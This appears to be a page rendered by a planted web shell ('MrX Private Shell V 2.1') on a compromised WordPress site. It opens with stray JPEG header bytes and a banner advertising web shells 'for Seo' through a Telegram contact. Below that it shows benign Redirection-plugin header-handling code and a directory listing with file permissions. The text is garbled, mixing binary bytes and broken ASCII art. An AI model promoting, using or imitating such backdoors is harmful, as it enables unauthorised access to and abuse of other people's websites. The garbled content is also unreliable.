����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
class Red_Http_Headers {
private $headers = [];
public function __construct( $options = [] ) {
if ( is_array( $options ) ) {
$this->headers = array_filter( array_map( [ $this, 'normalize' ], $options ) );
}
}
private function normalize( $header ) {
$location = 'site';
if ( isset( $header['location'] ) && $header['location'] === 'redirect' ) {
$location = 'redirect';
}
$name = $this->sanitize( isset( $header['headerName'] ) ? $header['headerName'] : '' );
$type = $this->sanitize( isset( $header['type'] ) ? $header['type'] : '' );
$value = $this->sanitize( isset( $header['headerValue'] ) ? $header['headerValue'] : '' );
$settings = [];
if ( isset( $header['headerSettings'] ) && is_array( $header['headerSettings'] ) ) {
foreach ( $header['headerSettings'] as $key => $setting_value ) {
$settings[ $this->sanitize( $key ) ] = $this->sanitize( $setting_value );
}
}
if ( strlen( $name ) > 0 && strlen( $type ) > 0 ) {
return [
'type' => $this->dash_case( $type ),
'headerName' => $this->dash_case( $name ),
'headerValue' => $value,
'location' => $location,
'headerSettings' => $settings,
];
}
return null;
}
public function get_json() {
return $this->headers;
}
private function dash_case( $name ) {
$name = preg_replace( '/[^A-Za-z0-9]/', ' ', $name );
$name = preg_replace( '/\s{2,}/', ' ', $name );
$name = trim( $name, ' ' );
$name = ucwords( $name );
$name = str_replace( ' ', '-', $name );
return $name;
}
private function remove_dupes( $headers ) {
$new_headers = [];
foreach ( $headers as $header ) {
$new_headers[ $header['headerName'] ] = $header;
}
return array_values( $new_headers );
}
public function get_site_headers() {
$headers = array_values( $this->remove_dupes( array_filter( $this->headers, [ $this, 'is_site_header' ] ) ) );
return apply_filters( 'redirection_headers_site', $headers );
}
public function get_redirect_headers() {
// Site ones first, then redirect - redirect will override any site ones
$headers = $this->get_site_headers();
$headers = array_merge( $headers, array_values( array_filter( $this->headers, [ $this, 'is_redirect_header' ] ) ) );
$headers = array_values( $this->remove_dupes( $headers ) );
return apply_filters( 'redirection_headers_redirect', $headers );
}
private function is_site_header( $header ) {
return $header['location'] === 'site';
}
private function is_redirect_header( $header ) {
return $header['location'] === 'redirect';
}
public function run( $headers ) {
$done = [];
foreach ( $headers as $header ) {
if ( ! in_array( $header['headerName'], $done, true ) ) {
$name = $this->sanitize( $this->dash_case( $header['headerName'] ) );
$value = $this->sanitize( $header['headerValue'] );
// Trigger some other action
do_action( 'redirection_header', $name, $value );
header( sprintf( '%s: %s', $name, $value ) );
$done[] = $header['headerName'];
}
}
}
private function sanitize( $text ) {
// No new lines
$text = preg_replace( "/[\r\n\t].*?$/s", '', $text );
// Clean control codes
$text = preg_replace( '/[^\PC\s]/u', '', $text );
// Try and remove bad decoding
if ( function_exists( 'iconv' ) ) {
$converted = @iconv( 'UTF-8', 'UTF-8//IGNORE', $text );
if ( $converted !== false ) {
$text = $converted;
}
}
return $text;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| log | Folder | 0755 |
|
|
| redirect | Folder | 0755 |
|
|
| url | Folder | 0755 |
|
|
| action.php | File | 2.3 KB | 0644 |
|
| canonical.php | File | 4.35 KB | 0644 |
|
| file-io.php | File | 3.18 KB | 0644 |
|
| fixer.php | File | 5.34 KB | 0644 |
|
| flusher.php | File | 1.98 KB | 0644 |
|
| group.php | File | 9.6 KB | 0644 |
|
| header.php | File | 3.35 KB | 0644 |
|
| htaccess.php | File | 11.29 KB | 0644 |
|
| importer.php | File | 11.35 KB | 0644 |
|
| match.php | File | 4.08 KB | 0644 |
|
| module.php | File | 3.04 KB | 0644 |
|
| monitor.php | File | 4.38 KB | 0644 |
|
| permalinks.php | File | 3.66 KB | 0644 |
|
| regex.php | File | 1.79 KB | 0644 |
|
| request.php | File | 3.92 KB | 0644 |
|